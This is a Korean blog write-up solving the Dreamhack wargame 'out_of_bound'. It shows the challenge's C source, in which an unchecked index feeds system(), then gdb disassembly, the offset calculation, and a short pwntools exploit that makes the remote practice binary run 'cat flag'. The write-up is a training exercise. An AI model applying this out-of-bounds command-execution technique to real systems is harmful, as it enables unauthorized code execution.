[dreamhack] out_of_bound

Monitor In Secure☃️·2024년 4월 3일

wargame_pwn

목록 보기
5/11

Admin name이 출력되서 아무거나 입력했는데 저러고 멈춰있다..

[제공된 c파일 확인]

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

stevbuf(stdin, NULL, IONBF, 0);

-> stdin파일을 함수 내부에서 필요한 만큼 크기를 할당하여 사용

#include <signal.h>
void ( signal (int sig, void(func)(int)) )(int);

-> 인터럽트 신호 처리 함수. 호출에 성공한 경우, signal()에 대한 호출은 함수의 최근 값을 리턴하고, 에러가 있을 경우 호출에서의 오류를 표시함

__IONBF : 사용된 버퍼가 없음

name을 입력받고 system함수로 command[idx]를 실행
name에 지정되어있는 크기이 16만큼 입력받아서 name에 저장하고, 입력받은 정수를 인덱스로 가지면서 command를 실행한다.


위에 분석한 c파일을 토대로 한번 실행시켜보았다.


[디컴파일]

조건에 따라 __stack_chk_fail 함수 출력 여부가 결정된다.

아이다로는 더 이상 분석할 수 없을 것 같으니 gdb를 이용해서 시도해보겠다.

   0x080486cb <+0>:	lea    ecx,[esp+0x4]
   0x080486cf <+4>:	and    esp,0xfffffff0
   0x080486d2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080486d5 <+10>:	push   ebp
   0x080486d6 <+11>:	mov    ebp,esp
   0x080486d8 <+13>:	push   ecx
   0x080486d9 <+14>:	sub    esp,0x14
   0x080486dc <+17>:	mov    eax,gs:0x14
   0x080486e2 <+23>:	mov    DWORD PTR [ebp-0xc],eax
   0x080486e5 <+26>:	xor    eax,eax
   0x080486e7 <+28>:	call   0x804867b <initialize>
   0x080486ec <+33>:	sub    esp,0xc
   0x080486ef <+36>:	push   0x8048811
   0x080486f4 <+41>:	call   0x80484b0 <printf@plt>
   0x080486f9 <+46>:	add    esp,0x10
   0x080486fc <+49>:	sub    esp,0x4
   0x080486ff <+52>:	push   0x10
   0x08048701 <+54>:	push   0x804a0ac
   0x08048706 <+59>:	push   0x0
   0x08048708 <+61>:	call   0x80484a0 <read@plt>
   0x0804870d <+66>:	add    esp,0x10
   0x08048710 <+69>:	sub    esp,0xc
   0x08048713 <+72>:	push   0x804881e
   0x08048718 <+77>:	call   0x80484b0 <printf@plt>
   0x0804871d <+82>:	add    esp,0x10
   0x08048720 <+85>:	sub    esp,0x8
   0x08048723 <+88>:	lea    eax,[ebp-0x10]
   0x08048726 <+91>:	push   eax
   0x08048727 <+92>:	push   0x8048832
   0x0804872c <+97>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048731 <+102>:	add    esp,0x10
   0x08048734 <+105>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048737 <+108>:	mov    eax,DWORD PTR [eax*4+0x804a060]
   0x0804873e <+115>:	sub    esp,0xc
   0x08048741 <+118>:	push   eax
   0x08048742 <+119>:	call   0x8048500 <system@plt>
   0x08048747 <+124>:	add    esp,0x10
   0x0804874a <+127>:	mov    eax,0x0
   0x0804874f <+132>:	mov    edx,DWORD PTR [ebp-0xc]
   0x08048752 <+135>:	xor    edx,DWORD PTR gs:0x14
   0x08048759 <+142>:	je     0x8048760 <main+149>
   0x0804875b <+144>:	call   0x80484e0 <__stack_chk_fail@plt>
   0x08048760 <+149>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048763 <+152>:	leave  
   0x08048764 <+153>:	lea    esp,[ecx-0x4]
   0x08048767 <+156>:	ret    

여기서 우리가 중점적으로 봐야할 부분은 입력으로 받는 변수 namecommand이다.
각 변수들의 주소를 알아내보자.

name : 0x0804a0ac
command : 0x0804a060

두 변수간의 거리를 계산해보면,76(0x0804a0ac - 0x0804a060)이다.

이 파일은 32bit아키텍쳐이므로 기본 디폴트 크기는 4byte이다. 때문에 두 변수간의 오프셋 값인 76에서 4를 나눠준 '19', 즉 command[19]에 name에 저장된 문자열을 넣어주면 될 것이라는 예상을 해본다.

..? 해결이 되지 않았다.. 구글링의 힘을 빌려보자.

[원인]
코드에서 사용된 system 함수는 공유 라이브러리 함수로, 'const char *' 라는 인수가 필요하기 때문에 "변수주소(4byte)+인수"로 구성되어있다고 한다.
때문에 sysem('cat flag') 라는 명령어를 실행하기 되면 메모리상에서는 변수주소(4byte) + cat flag가 들어가게 되기 때문에 name+4값, 실행하고자하는 명령어(cat flag) 이렇게 들어가야한다.

[완성된 exploit 코드]

from pwn import *

p = remote("host3.dreamhack.games", 17135)

command = p32(0x0804a0ac+4) + b"cat flag"

p.sendlineafter("Admin name: ", command)
p.sendlineafter("What do you want?: ", str(19))

p.interactive()          

드디어 플래그값이 나왔다..!


[Reference]
https://www.ibm.com/docs/ko/i/7.3?topic=functions-signal-handle-interrupt-signals
https://haena02.tistory.com/99

0개의 댓글